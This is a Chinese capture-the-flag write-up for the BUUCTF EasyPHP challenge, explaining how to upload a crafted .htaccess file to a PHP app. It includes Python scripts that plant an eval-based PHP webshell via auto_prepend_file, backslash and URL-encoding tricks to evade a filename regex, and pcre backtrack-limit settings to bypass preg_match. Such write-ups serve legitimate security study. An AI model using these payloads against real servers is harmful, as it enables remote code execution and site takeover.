BUUCTF:[XNUCA2019Qualifier]EasyPHP -- 关于.htaccess 的各种配置操作,
目录:
- 一、自己做:
- 二、学到的&&不足:
- 1. python 上传.htaccess时的\\问题
- 2. 关于.htaccess解析错误时
- 3. python 上传 .htaccess时,注释符# 的问题!在字符串中进行传输# 也会当作注释符!!
参考的文章,看最下面的那两篇就是了
总体:
这些方法看起来很棒,其实我感觉这都是参赛者当时 细心看PHP文档才发现的,而我辈现在直接看他们的现成的东西,如此巧妙的方法之下,是大佬们细心找到的bug点,其实真正应该习得的是认真看文档的能力,从很多的配置信息中找到我们能够利用的 点这个才是真正的能力
一、自己做:
做个毛,做,这个题是我能做出来的???
没有个数,看WP去,,
这个 正则,文件名开头不能是 字母开头,又不能是数字,那就只能够是
.了啊,再看一下黑名单???防止马的黑名单是这个吗??
没见过的黑名单,那就是上传
.htaccess了啊,
二、学到的&&不足:
1. python 上传.htaccess时的\问题
注意在用python传入的时候,这个用一个
\,是不行的,在python中的
\和Linux中的一样也是 连接两行的意思,
我们这里需要两个
\\,这样转义一下,才行
这样才行一个
%5c,一个
%0A,就对了,
2. 关于.htaccess解析错误时
当
.htaccess文件解析出现问题时,网站会爆出 500 的错误码,然后我们怎么知道是那里错了呢?
可以查看apache的错误日志
/var/log/apache2/arror.log就能够看到哪里的错误了,
3. python 上传 .htaccess时,注释符# 的问题!在字符串中进行传输# 也会当作注释符!!
这个注释符
#恰巧也是
python的注释符,~!!!
这了如果不将
#先一步进行url编码的话,就会当作python的注释符,然后后面的内容就不会输入到
.htaccess中去了,尽管是在 一个字符串中!!!!
如果是
#的话,效果就是这样,后面的直接没有了,
将
#编码一下,不让python当作它的注释符就好了,又因为是get传输,那么正好就url编码一下上传,如下:
import requests content='''php_value auto_prepend_fi\\ le ".htaccess" %23<?php eval($_GET[a]);?>\\''' url 1e5f2 = "http://host/?filename=.htaccess&content={}".format(content) res = requests.get(url=url) print(res.url) print(res.text)
这个注释符
#恰巧也是
python的注释符,~!!!
这个时正确的时候,但是我还是有点小疑问,,这个我用
\连接起来了,不是不是,应该是 转移掉了
\n了把,但是我本地这里,明显没有转义成功啊,
但是还是正确执行了,我的马,那么就是 这个反斜杠并没有当作转移符号,来转义那个
\n。而是到了
.htaccess中连接起来了两行,这样尽管 另其一行了,但是 连接上了,就也算到了 上一行的注释中去了,
上面的那个理论我验证一下就好了
如下:
运行一个PHP文件,没有爆500,也就是说
.htaccess·,没有问题,那么我们上述的猜想就是正确的了,
三、学习WP:
1. 非预期:
就是我上面分析的这个,
payload上面说了,这里就不说了
import requests # %23 是# 的url编码,防止python把自己注释了 #\\ , 两个\\上传上去就是 一个 \ content='''php_value auto_prepend_fi\\ le ".htaccess" %23<?php eval($_POST[cmd]);?>\\''' url = "http://70683073-ad5d-4edc-ae61-5da1f665cb76.node3.buuoj.cn/?filename=.htaccess&content={}".format(content) res = requests.get(url=url) print(res.url) print(res.text)
2. 预期解2:
总体:
这些方法看起来很棒,其实我感觉这都是参赛者当时 细心看PHP文档才发现的,而我辈现在直接看他们的现成的东西,其实真正应该习得的是认真看文档的能力,从很多的配置信息中找到我们能够利用的 点这个才是真正的能力
这点我没有注意到
这个正则函数是
preg_match(),P神讲过这个的回调次数的绕过,
我自己也稍微整理过:关于prreg_match()的绕过 ----- %0a ------ 数组 --------preg的回调次数。
然后设置pcre的一些选项可以导致文件名判断失效,从而直接 prepend flag.php
回溯超过100000这么多次就能够绕过了,然后我们直接设置就好了
php_value pcre.backtrack_limit 0 php_value pcre.jit 0
设置上面的这个我懂,但是下面这个为什么设置我就不知道了
啊,这个,,,其实也就是去掉了 那个正则背,,,其实那个正则也就是过滤了
file背,,,那也没啥了啊,,,
这没有成功,,,,出错误,总是报hacker,也就是说并没有绕过正则,,,吐了。。
3. 预期解:
这个预期解,就是跟着思路来做的,给了我们
.htaccess文件,我们能够往里写什么,能够包含到
fl3g.php,然后利用这个PHP文件获得flag。这个才是顺着出题人的思路来的。
那么我就看看
.htaccess能够干一些什么事情。
最后的 垃圾数据会导致
.htaccess解析错误,从而页面爆出500,这个可以用
#进行注释,但是他又有一个换行符
\n,那我们就用
\进行连接行与行,就连接上了,就也是注释了,
就
php_value auto_prepend_file fl3g.php?,不行的,有正则,过滤
file这个可以绕过,
经测试,最后一行导致的
.htaccess报错的问题可以通过# 来解决。
该文件中有一处
include('fl3g,php'),该文件名不能通过正则匹配所以我们没办法直接利用该文件来getshell。那么还有什么
.htaacess的选项可以利用?
翻一下php的 官方文档php.ini配置选项列表,查找所有可修改范围为
PHP_INI_ALL即
PHP_INI_PERDIR的配置项,我们可以注意到这样一个选项
include_path.
具体操作看这个吧:
https://www.anquanke.com/post/id/185377#h3-6
https://www.cnblogs.com/ophxc/p/13192775.html
编码操作可用iconv,看我的 Linux的博客。
- 关于java的各种配置问题
- 关于递归的各种操作
- 关于各种数据库 Insert时同时取到Id的操作
- 1.关于UltraEdit中的FTP和Tenent配置,UE远程连接Linux进行文件操作
- 关于wamp配置虚拟主机支持多站点的操作
- jQuery属性的结点基础知识(关于结点的各种操作)
- 关于在PyCharm中更换python解释器后重新进行环境配置的操作
- 【工作总结】一组关于key=value类似配置文件的读写操作函数
- 关于容器的各种操作
- day48_Redis+Jedis。Java操作Redis、其他各种常用配置命令 总结【后面会用到今天搭建的环境-便于复习)】
- 关于时间的各种操作
- 最简单有效的关于linux下配置Git操作免登录ssh公钥
- 关于QT配置ini文件的建立,读取,写入操作
- js关于时间的各种操作
- 简析关于Set接口的各种操作
- 关于默认构造函数、复制构造函数、析构函数、赋值操作的各种测试探索
- 关于MyBatis在eclipse中的配置及简单的增删改查操作
- 新加入一个team后 关于配置开发的一些后续操作
- Hibernate的curd操作,各种查询及常用的配置和核心api
- LEVELDB(SSDB)关于读操作两种CACHE的作用和配置